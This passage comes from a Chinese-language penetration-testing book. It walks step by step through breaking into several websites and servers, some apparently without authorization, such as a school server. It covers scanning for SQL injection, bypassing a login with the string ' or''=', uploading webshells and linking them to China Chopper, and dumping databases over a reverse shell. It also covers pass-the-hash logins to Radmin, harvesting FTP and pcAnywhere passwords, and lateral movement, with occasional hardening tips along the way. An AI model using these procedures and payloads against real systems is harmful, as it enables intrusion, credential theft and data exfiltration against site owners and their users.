运行WebCruiserEnt,在“URL”文本框中输入想要检测的网站地址,然后单击“Scanner”按钮,选择“Scan Current Site”选项,如图4-94所示,很快就检测出多个漏洞。在这些漏洞中,URL和POST SQL注入是容易获取WebShell的。WebCruiserEnt对SQL注入等脚本漏洞的检测功能非常强大(虽然检测出某些SQL注入点无法进行注入)。
图4-94 使用WebCruiserEnt扫描网站漏洞
02 进行SQL注入基本操作
选中存在SQL注入的地址,右键单击,在弹出的快捷菜单中选择SQL注入expolit,在环境探测中选择“Get Environment Information”选项,获取数据库版本信息、服务器信息、操作系统信息、用户信息、数据库信息,以及有关密码的一些相关信息,如图4-95所示。
图4-95 获取被渗透对象的环境信息
03 数据库数据猜测
获取环境信息后,再次单击“Database”按钮,进入数据库猜测界面。
如图4-96所示,单击“DataBase”选项即可开始探测数据库信息。在获取数据库名称后,依次进行数据库表、表列名的猜测,最后选择“Data”选项进行猜测,以获取数据信息。这些操作与Domain 3.5等SQL注入工具的操作类似,在此就不赘述了。
图4-96 数据库数据猜测
04 使用Havij进行SQL注入猜测
因为使用WebCruiserEnt进行SQL注入猜测的速度实在太慢,所以,改用Havij进行SQL注入猜测。如图4-97所示,将目标地址输入“Target”文本框,然后单击“Analyze”按钮进行分析。
图4-97 使用Havij进行SQL注入猜测
05 扫描网站管理员登录入口
在进行SQL注入猜测的同时,还可以扫描管理登录入口。
在“Path to search”文本框中输入本次渗透的目标地址“http://xxxxxxxxxx.com”,单击“Start”按钮开始扫描,如图4-98所示,Havij会给出扫描到的目录和页面信息。如果“Response”列的值为“200 OK”,表示可以正常访问,即存在该页面或者目录。
图4-98 扫描网站管理员登录入口
说明
(1)在Havij中,还可以丰富管理入口扫描文件admins.txt。该文件存在于Havij的安装目录下,默认的安装目录为“C:\Program Files\Havij”。打开admins.txt文件,如图4-99所示,可以直接添加目录、详细文件名和“%EXT%”,保存后再次扫描时即可使用。
图4-99 路径和文件扫描文件字典
(2)可以手动丰富表名(tables.txt)和表列名(columns.txt)的内容。在知道某些CMS系统的数据库结构后,可以手工丰富该数据库的表名和表列名,否则即使存在SQL注入点,也可能无法获取表名或者表列名,这一点与wwwscan扫描网站目录和文件比较类似,字典收集得越全,扫描结果就越详细。
4.9.2 尝试密码绕过验证登录
单击“Find Admin”按钮,进入管理入口扫描模块,在扫描结果中双击疑似管理入口登录地址“http://www.*************.com/administrator/login.php”进行登录。如图4-100所示,成功打开该页面,在“USER ID”文本框中输入“' or''='”,在“PASSWORD”文本框中输入任意内容,单击“Log In”按钮进行登录尝试。该网站对用户名未作严格限制,能够顺利登录并进后台管理页面,如图4-101所示。
图4-100 尝试密码绕过验证登录
图4-101 成功登录后台
4.9.3 获取WebShell
成功进入后台管理页面后,通过浏览和查看功能模块发现可以直接上传文件。如图4-102所示,尝试上传一个PHP的WebShell,顺利上传,返回信息管理员页面直接获取WebShell地址。通过“中国菜刀”直接连接一句话木马后门,如图4-103所示,成功获取WebShell。
图4-102 上传WebShell
图4-103 获取WebShell
4.9.4 获取管理员密码
在后台管理页面中,单击“User”选项获取所有用户列表,如图4-104所示,该页面提供了搜索功能。输入“admin”进行搜索,如图4-105所示,成功找到管理员的记录。
图4-104 查看该网站的所有用户
图4-105 查找管理员记录
单击“Manger”列中的编辑按钮,进入用户资料编辑页面,如图4-106所示,成功获取管理员密码“draN6H2w-D”。该密码的强度还是挺高的,10位密码由大小写字母、数字和特殊字符组成,暴力破解的成功率比较低。
图4-106 获取管理员密码
4.9.5 下载数据库和源程序
抱着研究的态度,上传一个功能强大的WebShell,如图4-107所示,将数据库导出打包,同时通过反弹端口访问具有独立IP地址的监听端口,通过反弹的Shell进行tar等操作,将程序等文件打包并下载。
图4-107 换大马进行操作
4.9.6 总结与思考
虽然本案例的渗透相对比较简单,但每一次渗透都有值得思考和总结的地方。下面我们从攻防的角度来看待渗透。
1.安全加固方面
• 禁止目录浏览。允许浏览目录会暴露很多敏感信息,特别是在上传WebShell后,通过浏览文件夹可以很方便地获取WebShell。
• 严格限制上传文件的后缀及内容,禁止上传含有危险后缀的文件。采取“仅允许”策略,即仅允许上传指定类型的文件,其他类型一概不允许上传。文件上传后对其自动进行命名,生成允许的后缀。
• 后台登录时进行严格的验证,过滤单引号等危险输入。
• 对用户的密码等敏感信息进行加密,且密码设置必须具有一定的强度。这样,攻击者即使通过SQL注入获取加密密码,也会由于该密码无法破解而放弃。
2.渗透方面
• 密码绕过验证在国外网站的渗透中成功率较高。密码绕过验证不仅包括本节中提到的“' or''='”,还有很多内容,在渗透时可根据需要进行测试。如果在测试时能够获取表列名等信息,则将有助于后面的渗透。可以将获取的表列名加入Havij等SQL注入工具的表和列名中。
• 对网站的渗透测试需要从多个方面进行,如进行SQL注入扫描、网站文件目录扫描、Google黑客技术应用、密码验证绕过登录、密码暴力破解等。当在某一个方面取得突破时,离获取WebShell的目标就更近了。
• 每一次渗透结束后,都应该进行总结和资料整理。在获取WebShell后,可以打包下载数据库,下载源程序,寻找网站中的后门,将用户密码和用户名收入字典库中,将网站的目录、后台地址、后台文件名称和脚本文件名称等添加到扫描字典中。
4.10 利用eWebEditor漏洞渗透某服务器
本次渗透涉及信息收集、漏洞挖掘、口令扫描、端口扫描、Radmin口令获取、FTP密码获取、MD5密码破解等内容,通过eWebEditor上传漏洞获取WebShell,再通过WebShell进行提权,最终获得了服务器权限。
4.10.1 漏洞挖掘
01 获取初步信息
打开网站,看看网站能否访问,如图4-108所示。
图4-108 查看网站基本情况
说明
由于需要测试的是一个IP地址,因此需要先看看该地址是否在默认的80端口开放了Web服务,再看看使用的是什么语言。当然,也可以直接将地址放入SQL注入扫描工具中进行SQL注入点检测。
02 查看端口开放情况
使用“sfind-p 222.134.217.206”命令查看该服务器的端口开放情况,如图4-109所示,计算机开放了21、80及4899端口。
图4-109 查看端口开放情况
03 查看系统功能
通过网站的导航条查看网站系统是自己开发的还是直接从网上搬来的。单击该网站导航条中的“校园论坛”超链接,打开的是用Dvbbs 8.2搭建的论坛,如图4-110所示。查看该网站的其他功能模块,没有发CMS等系统,初步估计该网站除论坛外的程序是定制开发的。
图4-110 网站使用了Dvbbs论坛
说明
将前期工作做到位,可以减少后期的很多工作量。通过查看是否采用CMS系统、是否使用网上流行论坛等,可以进行有针对性的安全检测。
04 实施初步检测
①论坛安全检测。从论坛会员人数不多的情况判断,管理员应该不会经常对论坛进行管理,很多设置都是默认的,因此,可以测试数据库是否采用了默认设置,即是否能够直接下载。直接在网址后面添加“data/dvbbs8.mdb”,也就是Dvbbs 8.2的默认地址,提示可以下载,如图4-111所示。
图4-111 下载Dvbbs 8.2的默认数据库
②获取管理员密码。下载完毕,使用Access打开数据库。查看Dv_Admin表,如图4-112所示,发现管理员还具有一定的安全意识,将默认的“admin”修改为“曹老师”,将MD5加密值“8a10**8c0f7c****”复制到“记事本”程序中,然后查看Dv_user表中的管理员“曹老师”所对应的MD5值——两个值是相同的!
图4-112 获取管理员的MD5值
③破解MD5加密值。现在已经知道前台和后台管理员的MD5值是相同的,所以要破解MD5值。将MD5加密值拿到cmd5上破解,提示没有找到结果,如图4-113所示。Dvbbs 8.2也没有爆出过Cookies欺骗漏洞,看来管理员的安全意识不错。
图4-113 MD5加密值查找未果
05 再次进行SQL注入检测
拿到了Dvbbs数据库的用户密码加密值,在cmd5网站查不到结果,估计使用MD5Cracker破解也需要很长时间,看来需要换一种思路。
回到网站首页,用“啊D注入工具”扫描注入点,结果找到了一个注入点,获得用户名“admin”、密码“6bfb281ef3d9********4b9f202ecd2f”,如图4-114所示。
图4-114 使用“啊D注入工具”获取管理员密码
可是,将该MD5值拿到www.cmd5.com网站查询,结果提示需要购买,如图4-115所示。用“啊D注入工具”扫描后台,也没有找到有用信息,所以即使破解了密码也无办法登录后台。再进一步,即使能够登录后台,也不一定能拿到WebShell。看来这种方法也行不通。
图4-115 查到结果却需要购买
06 查询旁注
访问http://www.myipneighbors.com/,查询该网站,结果表明该网站属于独立服务器,那么旁注也不好用了。旁注的查询结果如图4-116所示。
图4-116 查询该IP地址的域名情况
07 再次分析网站结构
以上只是对整个网站进行了大体分析,这也是测试时必须完成的工作。根据自己的经验对网站的结构做大体的了解,等到我们的前期工作做完,对测试就有了更大的把握。
wscan是一款强大的网站目录和文件扫描工具,不过它有的时候会误报,明明存在的目录也扫描不到。笔者用wscan扫了好几遍,也没找到可以利用的东西。然后,改为使用wwwscan,结果好一点。因为笔者字典收集得比较全,所以在cmd下运行“wwwscan ***.***.217.206-m 300-t 30”命令,剩下的就是等待了。不一会儿,结果出来了,扫到了不少“好东西”,如图4-117所示。
图4-117 扫描网站目录和文件
4.10.2 获取WebShell
upfile.asp看起来是一个上传文件,用Domain的综合上传功能试了一下,文件传不上去,而且通过conn.asp也爆不了库。最后,视线落到了eWebEditor身上。在网址后加上“eWebEditor/admin_ login.asp”并提交,醒目的红色登录界面就出现了,如图4-118所示。
图4-118 使用eWebEditor管理器编辑登录
直接输入默认的用户名“admin”、密码“admin”,成功登录后台,如图4-119所示。不知道为什么,有些网站对eWebEditor这个编辑器情有独钟,以致如此多的网站都倒在了她的红裙之下。
图4-119 登录eWebEditor管理器后台
4.10.3 提升权限
01 获取WebShell权限
关于如何使用eWebEditor拿Shell的方法,这里就不多说了,请读者自行尝试。不过,拿到了Shell还不算完满,因为网站服务器是独立的,而且又是一所学校的服务器,所以相信安全工作不会做得太好。接下来,我们把服务器权限也拿下来。
02 执行命令
用大马的wscript.shell执行“netstat-an“命令,出错了,很正常。Windows 2003的IUSER用户是不能访问“c: \windows\system32\cmd.exe”的,解决方法很简单:把经过压缩处理的cmd.exe传到服务器上就行了,这样DOS命令就能成功执行了。如图4-120所示,开放的端口还真不少。
图4-120 上传cmd程序并执行命令
03 使用Radmin提升权限
在开始端口查看结果中知道,服务器开放了4489端口,也就是Radmin。玩过Radmin的老鸟可能都知道,旧版本的Radmin在安装的时候是把密码写入注册表的,具体位置在HKEY_LOCAL_ MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter这个键值下。不过,如果使用“一步江湖”的Radmin,话我们在注册表中是找不到的。用大马读取成功读取以上注册表键值,如图4-121所示。
图4-121 获取Radmin口令加密值
不过,大马读取出来的都是转成十进制的数据,我们还需要再将其转换成十六进制的数据,太麻烦了。使用Radmin注册表读取工具,就可以直接读取Radmin 32位的MD5密码散列了,而且还能读取Radmin日志文件存储的位置。因为日志文件记录了所有连接服务器Radmin的信息,所以管理员通过查看日志文件就能找到攻击者的踪迹,如图4-122所示。
图4-122 读取Radmin值的ASP程序
Radmin的MD5密码终于到手了。到cmd5网站破解一下,没有找到结果。不过不用担心,这里我们使用修改过的、可以利用MD5散列直接登录4899肉机的工具连接一下,把32位的MD5值填进去,就成功登录了,并得到了“***.***.217.206”这台服务器的所有的权限。
4.10.4 内网渗透
01 获取管理员FTP密码
通过Radmin_Hash工具完全控制该服务器后,通过查看发现该服务器所在网络中还有3台服务器,可以尝试进行内网渗透。在内网渗透中,最好的办法就是得到管理员administrator的密码。我们可以用“GetPW Local$”命令得到系统Hash密码的值,然后用LC5破解密码,也可以用WinlogonHack这个后门工具记录管理员密码。不过,笔者最喜欢的是从网站服务器的应用程序上找突破,如FTP工具就是很好的泄露管理员密码的工具。
使用Radmin文件管理功能,经过一番查找,终于在D盘找到了UltraFXP这个FTP工具,此工具和FlashFTP非常相似,功能也非常强大,不过也存在这暴露FTP用户信息的漏洞。
把服务器上的UltraFXP安装文件全部下载到本地,然后直接运行UltraFxp.exe程序,就可以打开FTP管理器的主界面了。在“站点管理器”这个的位置能够找到管理员用UltraFXP连接过的所有站点的信息了。如图4-123所示,206服务器的FTP用户密码“silvery * * *”是用精锐星号密码破解器读取的。
图4-123 获取FTP用户的密码
02 获取远程终端端口
206服务器上的FTP密码,其中用户名是“administrator”,我想玩过社工的朋友一定想到了,服务器登录的密码可能也是“administrator”。尝试用这个管理员用户名和密码登录,用大马的查看终端端口功能找到终端端口为3372,如图4-124所示。
图4-124 获取远程终端服务端口3372
03 社工登录3389终端服务器
直接用Mstsc连接用户名“administrator”,密码使用读取出来的“silvery**”。和预想的一样,成功登录服务器,如图4-125所示。
图4-125 成功登录服务器
04 利用社会工程继续渗透
接下来就是社会工程学了。在站点管理器中还发现了其他FTP站点的连接账户和密码,分别是“***.***.217.204”、“***.***.217.205”,看起来,这位管理员管理的网站不少。再次使用sfind命令扫描一下这个网段的4899端口,如图4-126所示,结果也表明这3台服务器有Radmin的,看起来管理员是用Radmin远程管理服务器的。
图4-126 使用sfind命令扫描附近计算机Radmin端口的开放情况
把用radmin.asp读取的MD5值分别用Radmin_Hash登录“***.***.217.204”、“***.***.217.205”,成功登录了“***.***.217.205”这台计算机,可是“***.***.217.204”却无法登录,使用从UltraFXP中得到的用户名和密码都试了一遍,也不成功。不知道管理员为什么对204这台计算机单独设置密码,如图4-127所示,连上Radmin。用Mstsc连接一下204计算机的3372和3389端口,也都不能连接,只能放弃。
图4-127 使用Radmin_Hash工具控制相邻服务器
05 再次验证密码
通过前面的安全检测可以知道,管理员在多个管理工具中使用的均是相同的密码。再次在cmd5网站中使用获取的密码进行MD5加密,如图4-128所示,该密码果然与Dvbbs中的MD5值相同。
图4-128 dv_admin中管理员密码的Hash值
4.10.5 安全加固
01 使用JSky对网站进行全面扫描
使用zwell的JSky工具对该网站进行全面的漏洞扫描,如果4-129所示,发现2个SQL注入点,1个跨站漏洞,因此高危漏洞为3个。
图4-129 使用JSky安全扫描工具对网站进行全面安全检测
02 修复程序漏洞
到该服务器上找到news.asp及photo.asp程序,在其中对获取的参数id进行过滤,发现仅允许使用数字,其他字符均禁止使用,修改后如图4-130所示。
图4-130 修复程序中的漏洞
03 修改数据库默认路径以及名称
到Dvbbs BBS目录下修改与数据库连接文件conn.asp有关的数据库路径及数据库名称,如图4-131所示,使其难以被猜测和下载。
图4-131 修改数据库默认名称和路径
04 修改数据库密码
打开数据库,将默认的密码修改为一个更加难以破解的密码,在本例中设置了一个经过30位加密的MD5密码,破解起来非常困难。如图4-132和图4-133所示,将经过MD5处理的字符串填入UserPassword列中,对其他表中涉及后台管理的用户均进行相应处理,使入侵者难以破解密码。
图4-132 修改数据库密码为一个强健的新密码
图4-133 修改Blog中的管理员密码
05 清除网站文件中的木马和挂马代码
在网站中找到网页木马并将其删除,如图4-134所示,如果存在挂马代码,一并将其清除。
图4-134 清除网页木马和挂马代码
06 提醒管理员更改密码并进行相应的安全处理
将已经修复的漏洞告诉管理员,将修改的密码放在管理员桌面的漏洞提醒文件中进行友情提醒,最后关闭远程终端,结束本次的安全检测与加固。
4.11 对某网站的一次渗透
本次渗透源于通过Google获取了某网站的一个WebShell,由于没有该WebShell的密码,因此需要自己获取。本次渗透通过SQL注入获取管理员密码,通过后台上传任意文件获取WebShell,在Web渗透中具有一定的代表性。
4.11.1 信息获取
通过前面介绍的一些方法,已经知道该网站被入侵后还留了一个ASP.NET的后门WebShell,由于没有该WebShell的密码,因此需要通过其他途径获取。
01 查询该域名主机下有无其他域名主机
打开ip866.com网站,如图4-135所示,在输入框中输入网站地址“www. * * * *.com”,然后单击“点这里反查全部相关域名”按钮,获取该域名主机下的所有绑定域名,有40多个。
图4-135 获取主机绑定域名信息
02 获取IP地址及端口开放情况
分别使用“ping www.********.com”及“sfind-p 219.133.***.***”命令获取端口信息等,如图4-136所示,使用ping命令无反应,主机开放了80、21及1433端口。
图4-136 获取端口开放等信息
4.11.2 检测漏洞
01 使用工具进行漏洞挖掘
打开JSky,在其中新建立一个任务,然后进行扫描,如图4-137所示,发现SQL注入点8个,跨站漏洞1个。
图4-137 使用JSky扫描网站漏洞
02 进行注入猜解
在如图4-137所示的界面中选中一个SQL注入点,然后使用Pangolin进行渗透测试。Pangolin会自动进行猜解,如果存在漏洞,则会显示SQL注入点的类型、数据库、关键字等信息。如图4-138所示,直接单击“Tables”按钮猜解数据库表,获得了admin表和news表。
图4-138 猜解表
说明
在Pangolin中需要自己进行一些设置,可以设置文字显示模式,有时需要手工设置SQL注入点的类型(Type)及数据库信息等。
03 猜解管理员表admin中的数据
选择admin表中的id、admin_id、admin_name、admin_pass这4个字段,然后单击Pangolin主界面右侧的“Datas”按钮猜解数据,如图4-139所示,下方区域显示整个表中共有2条记录,右边区域显示猜解的结果。管理员密码非常简单,其中一个管理员的用户名和密码都是“1”,且密码和用户名均未加密。
图4-139 获取管理员用户名称和密码
04 获取后台地址
在JSky扫描中发现存在admin目录,所以直接在浏览器中输入“http://www.*********.com/admin/”,打开后台登录地址。如图4-140所示,后台非常简洁,没有验证码之类的东西。
图4-140 获取管理后台登录地址
05 进入管理后台
在如图4-140所示的界面中分别输入管理员用户名和密码“1”,单击“管理员登录”按钮,成功进入管理后台。如图4-141所示,在后台中主要有“首页/管理中心/退出”、“用户管理”、“添加信息”和“系统信息”4个主要管理模块。
图4-141 成功进入管理后台
06 寻找上传点
在该网站系统中,新闻动态、友情链接等添加信息接口处均存在文件上传模块,且未对文件进行过滤,如图4-142所示,可以上传任何类型的文件,在本次测试中就直接将aspxspy.aspx文件上传。
图4-142 可上传任何类型的文件
07 寻找上传的WebShell地址
通过添加友情链接功能将WebShell文件上传,访问网站,找到友情链接网页,然后直接查看源代码,如图4-143所示,获取WebShell的地址。
图4-143 获取WebShell的真实地址
08 执行WebShell成功
在网站中输入WebShell的地址“http://www.xiaobang.com/ads/20081229233452.aspx”,然后输入管理密码,如图4-144所示,WebShell可以正常运行,单击“Sysinfo”按钮可查看系统信息。
图4-144 执行WebShell成功
注意
由于前面已经有人上传了ASPX的WebShell,加上检测时上传了多个ASPX的WebShell,因此,图4-144中有些地址可能不完全匹配。
4.11.3 提权之路
01 获取数据库配置文件信息
有了WebShell后,获取数据库的配置信息就相对简单了。到网站目录中寻找inc、conn.asp、config.asp文件等,查看其源代码即可获取数据库的物理地址或者配置信息,如图4-145所示。AspxSpy有一个功能特别好用,就是IISSpy,使用它可获取该主机下所有的站点目录等信息。
图4-145 查看数据库连接文件conn.asp
02 下载网站数据库
如图4-146所示,找到数据库的物理路径即可进行下载。如图4-147所示,可以看到系统已经对数据库采取了一些安全措施,如设置了一个比较难以猜测的名称,但当我们获取WebShell后,再复杂的名称也是无用了。
图4-146 下载数据库
图4-147 执行基本命令
03 执行命令
在AspxSpy中命令执行不太好用,换一个功能更强大的ASPX类型的木马,可以通过执行“net user”、“net localgroup administrators”、“ipconfig/all”、“netstat-an”等命令查看用户、管理员组、网络配置、网络连接情况等信息,但不能执行添加用户等提升权限操作,一执行就会报错,如图4-148所示。
图4-148 执行报错命令
04 读取注册表信息
通过分析,发现该服务器安装了Radmin软件,且管理员修改了Radmin的默认管理端口4899,如果能够获取Radmin的口令加密值,也可以直接提升权限。单击“Regshell”按钮,在“KEY”文本框中输入Radmin 2.x的口令值保存键值“HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\ Parameters”,然后单击“Read”按钮读取,如图4-149所示,结果未能成功读取。使用其他WebShell的注册表读取,还是未成功,说明权限不够。
图4-149 读取Radmin 2.x的口令值失败
05 使用ASP的WebShell提升权限
在有些情况下,ASPX的WebShell不好用,但ASP的WebShell执行效果比较好。如图4-150所示,上传一个ASP的WebShell,然后分别查看Serv-U和pcAnywhere,系统使用了pcAnywhere进行远程管理,将其配置文件CIF下载到本地。
图4-150 获取pcAnywhere的配置文件
06 获取pcAnywhere的密码
图4-151 破解pcAnywhere远程管理密码
使用Symantec pcAnywhere Password Crack直接破解刚才获取的CIF配置文件,如图4-151所示,顺利读出pcAnywhere远程连接的用户名和密码。
安装Symantec pcAnywhere,通过它来连接该服务器,连接成功后需要用户名和密码才能进行完全控制。
4.11.4 总结与体会
在本次安全检测中,发现了漏洞,成功获取了WebShell,且在一定情况下还可以完全控制该服务器(待管理员进入系统,尚未锁定屏幕的过程中,可以通过pcAnywhere实施远程控制)。本次检测过程中的收获和体会如下。
1.在网络安全攻防实战过程中丰富了安全渗透和检测实践经验
通过本次检测,熟悉了AspxSpy这个功能强大的ASP.NET的WebShell,该WebShell最大的优点是在获取某一个WebShell后可以通过它来下载其他绑定域名站点的数据库。
2.加深对站点安全防护的认识
在本次检测中,可以明显感觉到该主机系统进行了一些安全防护,除了pcAnywhere程序权限设置不严格外,其他部分的权限设置的安全性尚可。所以,即使入侵者拿到了WebShell,也无法控制服务器——虽然这是以牺牲用户信息为代价的。
4.12 通过修改后台系统设置获取WebShell
iwms是国内最早的ASP.NET新闻系统之一,主要功能有网页自动采集、防采集、静态生成、图片/文件防盗链、图片/脚本gzip压缩、内置讨论区/广告投放功能、会员付款阅读内容。选择该系统进行讲解的主要目的是为了说明某些CMS系统在获取后台管理员权限后,可以通过修改配置文件允许直接上传WebShell文件,直接获取WebShell权限。
4.12.1 修改上传设置
iwms 4.6未对文件的上传类型进行限制,用户可以自定义上传类型。在系统设置中添加可上传文件类型ASPX和ASP,如图4-152所示。
图4-152 修改上传设置
4.12.2 获取WebShell
01 测试上传
依次单击“新闻管理”→“添加新闻”选项,在“添加新闻”页面添加媒体,如图4-153所示,系统会自动显示与上传相关的功能。由于在上传文件类型中已经增加了ASPX和ASP文件,所以可以直接上传ASPX和ASP的网页木马。如图4-154所示,单击“浏览”按钮,选择一个ASPX的网页木马上传。
图4-153 添加新闻
图4-154 上传网页木马
02 获取上传文件名称和路径
如果木马顺利上传,系统会自动给出具体路径。如图4-155所示,本次上传的路径为“upload/2011_07/temp_11071410205449.aspx”。
图4-155 获取网页木马的具体位置和名称
还有一个方法可以获取网页木马的具体位置和名称。依次单击“系统管理”→“上传管理”选项,然后选择目录“upload”,设置时间为“2011_07”,系统会自动显示“upload/2011_07”目录下的所有附件文件,单击文件名即可直接访问,如图4-156所示。
图4-156 另一种获取上传文件名称和路径的方法
03 获取WebShell
本例中上传的是ASPX的一句话木马后门文件。使用“中国菜刀”打开该WebShell,如图4-157所示,可以很方便地对该网站进行各种文件操作等。
图4-157 获取WebShell
04 上传大马进行管理
一句话后门虽然比较隐蔽,但操作起来不如大马方便。上传大马进行管理,如图4-158所示。
图4-158 上传大马进行管理
4.12.3 总结与思考
iwms 4.6以下版本均存在本文提到的问题,通过修改上传类型可以顺利获取WebShell。文件上传获取WebShell的前提条件是获取管理员的密码。估计正是因为这一点,官方一直没有进行修补。
第5章 SQL注入漏洞及利用
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验参差不齐,相当多的程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果获得某些他想获得的数据,这就是所谓的SQL Injection,即SQL注入。
随着信息安全技术的发展,人们的安全意识不断提高,过去通过一个远程溢出漏洞就拿下服务器权限的几率非常低。在Web渗透中,SQL注入技术可以说是主流技术,通过SQL注入获取管理员密码,然后进入后台进行提权,获得WebShell权限后,再进一步对服务器进行提权。
本章通过详细的案例图解介绍如何利用目前一些主流的SQL注入技术对Web服务器进行渗透,每一个案例都有一种思路,一个技术要点。虽然案例是死的,但人是活,将本章提到的一些技术运用到Web渗透中,会起到事半功倍的效果。
本章主要内容
SQL注入漏洞
Access注入获取WebShell
DedeCMS全版本SQL注入漏洞利用代码及工具
对某网站的一次安全检测
通过sa权限注入获取服务器权限
通过SQL注入获取某Linux服务器权限
Discuz! 7.2 faq.php文件SQL注入漏洞分析及利用实战
实战UC_Key获取Discuz! x2.5论坛WebShell
对某虚拟主机的一次安全渗透
5.1 SQL注入漏洞
我们从概念上了解一下SQL注入漏洞。
5.1.1 什么是SQL注入
B/S模式的应用开发的低门槛,让使用这种模式编写应用程序的程序员越来越多。但是,如果在编写代码的时候没有对用户输入数据的合法性进行判断,就会使应用程序存在安全隐患。攻击者可以通过互联网的输入区域,利用某些特殊构造的SQL语言插入“SQL meta- characters”(特殊字符空格代表一些数据)和指令,操纵执行后端的SQL查询,并获得本不为用户所知数据的技术,这就是SQL Injection Attack(SQL注入攻击)。
SQL注入从正常的WWW端口对页面请求访问,而且看起来跟一般的Web页面访问没有区别,所以,目前市面上的防火墙都不会对SQL注入发出警报,如果管理员没有查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
SQL注入的手法相当灵活,攻击者可以根据具体情况进行分析,构造巧妙的SQL语句,从而获取想要的数据。
5.1.2 为什么会存在SQL注入
程序存在SQL注入,追其原因,是代码或者编码的不完善,但说到底,是程序员的惰性。代码的不完善,往往是因为在程序编写的过程中没有考虑代码的健壮性及安全性。就国内现状来看,网站使用的脚本语言,ASP和Access或SQL Server的组合占70%以上,PHP和MySQL的组合占20%左右,其他不足10%。另外,因为开发者水平参差不齐,代码编写的过程考虑不够周全,程序代码的安全性值得怀疑,所以程序脚本被注入也成为必然。
当然,程序运行环境的先天缺陷也是人为造成的,这种现象无法完全杜绝避免。从攻击者的角度看,使用SQL注入能够避开绝大多数防火墙,不留攻击痕迹,攻击手法多种多样,因此才会导致SQL注入攻击手段的兴起。
5.1.3 SQL注入的原理、分类及攻击步骤
SQL是一种用于关系数据库的结构化查询语言,分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92. SQL的典型执行语句是query,能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在本章中,我们将特别讨论SQL Server使用的Transact-SQL语言。
当一个攻击者能够通过向query语句中插入一系列SQL操作数据的方法将攻击代码写入应用程序中,这种方法就是SQL注入。
1.注入方式
SQL注入主要是通过构造特殊的SQL语句,使用POST或GET方式提交对目标网站的页面请求(Request),通过检索获得程序脚本的非正常反馈信息。
由于SQL注入攻击利用的是SQL语法,所以这种攻击具有广泛性。从理论上说,这种方法对于所有基于SQL语言标准的数据库软件都是有效的,包括SQL Server、Oracle、DB2、SyBase、MySQL等。当然,各个软件有自身的特点,最终的攻击代码可能不尽相同。SQL注入攻击的原理相对简单,易于掌握和实施,而且整个Internet上连接了数量惊人的数据库系统,在过去的几年里,SQL攻击的数量一直在增长。
总体来说,SQL注入方式大致可以分为两类,分别是GET方式和POST方式。按照这两种注入方式,SQL注入又分多种注入手法,具体如下。
• 常规注入:SQL注入攻击本身就是一个常规性的攻击,它可以允许一些不法用户检索数据,改变服务器的设置,或者在管理员不小心的时候“黑”掉服务器。SQL注入攻击不是SQLServer的问题,而是不适当的程序的问题。
• 跨站注入:攻击者利用程序对用户输入过滤及判断的不足,写入或插入可以显示在页面上的对其他用户造成影响的代码。
• 旁注:顾名思义,就是从旁注入,也就是利用主机上的一个虚拟站点进行渗透。攻击者得到想要得到的一个重要关节的WebShell之后,再利用主机的开放程序及一些非安全设置进行的跨站式入侵。
这些都是网上比较流行的SQL注入的手法,与此相关的攻击手法还有盲注、搜索型注入等。攻击手法是多种多样的,攻击手法只是一种思想,但是提交方式却只有两种,下面会进行详细介绍。
2.字符编码
在大多数的网络浏览器中,标点符号和许多其他符号在用于一个网络请求前,需要进行URL编码,以便被适当地编译(interpret)。在实际应用中,我们需要在HTTP请求中用“%25”代替百分号(%),用“%2B”代替加号(+)等。
3.易损性测试(Testing For Vulnerability)
(1)综合测试
彻底检测一个网络请求是否容易被SQL注入比一个可能的猜测(Might Guess)需要耗费更多的精力。当我们把一个单引号放进一个脚本的第一个参数值时,服务器返回一个空白的网页,上面除了ODBC错误以外什么都没有。显然,这种情况直接反映出Web程序存在漏洞。但通常情况不是这样,如果我们没有注意细节,很容易忽略一个看上去完美,其实很脆弱的脚本。
服务器上每一个脚本中的每一个参数都应该被检测,原因在于开发者和开发组织之间可能毫不相干,设计脚本A的程序员也许和脚本B的开发毫无关系,所以,其中一个也许对SQL注入免疫,而另外一个则可能不会。事实上,设计脚本A里的函数A的程序员,也许和脚本A里的函数B的开发毫无关系,所以,脚本A里的某个参数也许对SQL注入是脆弱的,而另一个参数却不一定。即使整个网络请求是由同一位程序员构想、设计、编写及测试的,在成千上万的脚本中的参数中,由于某种原因,如果这位程序员忘了检验某个地方的数据,仍有可能存在一个脆弱的参数,而且,那个地方是唯一的,永远都不能确定是其位置,所以,必须测试所有的程序。
(2)测试过程
用一个单引号和一个SQL关键字(如“WHERE”)代替每个参数的值,对每个参数都应该单独进行测试。不仅如此,当测试一个参数的时候,应该保持其他参数不变,并用有效的数据填充值。当我们测试一个参数是否能被SQL注入的时候,如果忽略了其他参数,或者给了它们错误的值,网络请求就可能由于其他原因而出错,这阻碍了我们判断SQL注入是否可行。假设以下是一个有效的参数行。
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
它将返回一个ODBC错误,示例如下。
ContactName=Maria%20Anders&CompanyName='%20OR
如果我们这样检测:
CompanyName='
可能只会返回一个错误,告诉我们需要指定一个ContactName值。
如下语句可能返回同样的页面,因为请求根本没有指定ContactName;可能返回站点默认的主页;可能找不到指定的ContactName,或者Web程序认为没有必要看CompanyName,所以甚至根本不把这个参数值认为是一个SQL声明;可能返回一些完全不同的东西。所以,检测SQL注入的时候,一定要使用完整的参数行,并且除了正在检测的参数外,还要给其他所有参数一个合法的值。
ContactName=BadContactName&CompanyName='
(3)分析结果
如果我们得到一个数据库服务器返回的某些错误信息,那么SQL注入显然是存在的。然而,数据库错误信息不一定总是明显的(有时候编写程序的人可能会做一些奇怪的事情),所以,应该顺便看看每个可能的地方以确认注入是否成功。首先,应该从返回的页面上的所有资源中寻找包含“ODBC”、“SQL Server”、“Syntax”等的短语,更多的信息可能隐藏在HTTP的头部。笔者曾见过在某些存储系统的网络请求返回的错误信息中,在HTTP回复的body中完全没有任何信息,但在头部中却有数据库错误信息。为了进行调试和QA,很多网络请求都内嵌了这种特征,然而到最后发表前却忘记把它们删除或使之无效。
